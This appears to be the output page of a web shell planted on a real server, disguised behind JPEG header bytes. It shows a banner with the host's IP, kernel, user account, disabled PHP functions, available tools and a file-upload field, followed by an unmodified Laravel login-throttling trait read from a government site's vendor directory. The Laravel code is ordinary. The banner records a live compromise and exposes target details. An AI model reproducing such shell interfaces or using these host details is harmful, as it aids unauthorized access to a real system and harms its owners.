ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.25.186 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/laravel/framework/src/Illuminate/Foundation/Auth/ |
Upload File : |
<?php namespace Illuminate\Foundation\Auth; use Illuminate\Http\Request; use Illuminate\Cache\RateLimiter; use Illuminate\Auth\Events\Lockout; use Illuminate\Support\Facades\Lang; trait ThrottlesLogins { /** * Determine if the user has too many failed login attempts. * * @param \Illuminate\Http\Request $request * @return bool */ protected function hasTooManyLoginAttempts(Request $request) { return app(RateLimiter::class)->tooManyAttempts( $this->getThrottleKey($request), $this->maxLoginAttempts(), $this->lockoutTime() / 60 ); } /** * Increment the login attempts for the user. * * @param \Illuminate\Http\Request $request * @return int */ protected function incrementLoginAttempts(Request $request) { app(RateLimiter::class)->hit( $this->getThrottleKey($request) ); } /** * Determine how many retries are left for the user. * * @param \Illuminate\Http\Request $request * @return int */ protected function retriesLeft(Request $request) { return app(RateLimiter::class)->retriesLeft( $this->getThrottleKey($request), $this->maxLoginAttempts() ); } /** * Redirect the user after determining they are locked out. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse */ protected function sendLockoutResponse(Request $request) { $seconds = $this->secondsRemainingOnLockout($request); return redirect()->back() ->withInput($request->only($this->loginUsername(), 'remember')) ->withErrors([ $this->loginUsername() => $this->getLockoutErrorMessage($seconds), ]); } /** * Get the login lockout error message. * * @param int $seconds * @return string */ protected function getLockoutErrorMessage($seconds) { return Lang::has('auth.throttle') ? Lang::get('auth.throttle', ['seconds' => $seconds]) : 'Too many login attempts. Please try again in '.$seconds.' seconds.'; } /** * Get the lockout seconds. * * @param \Illuminate\Http\Request $request * @return int */ protected function secondsRemainingOnLockout(Request $request) { return app(RateLimiter::class)->availableIn( $this->getThrottleKey($request) ); } /** * Clear the login locks for the given user credentials. * * @param \Illuminate\Http\Request $request * @return void */ protected function clearLoginAttempts(Request $request) { app(RateLimiter::class)->clear( $this->getThrottleKey($request) ); } /** * Get the throttle key for the given request. * * @param \Illuminate\Http\Request $request * @return string */ protected function getThrottleKey(Request $request) { return mb_strtolower($request->input($this->loginUsername())).'|'.$request->ip(); } /** * Get the maximum number of login attempts for delaying further attempts. * * @return int */ protected function maxLoginAttempts() { return property_exists($this, 'maxLoginAttempts') ? $this->maxLoginAttempts : 5; } /** * The number of seconds to delay further login attempts. * * @return int */ protected function lockoutTime() { return property_exists($this, 'lockoutTime') ? $this->lockoutTime : 60; } /** * Fire an event when a lockout occurs. * * @param \Illuminate\Http\Request $request * @return void */ protected function fireLockoutEvent(Request $request) { event(new Lockout($request)); } }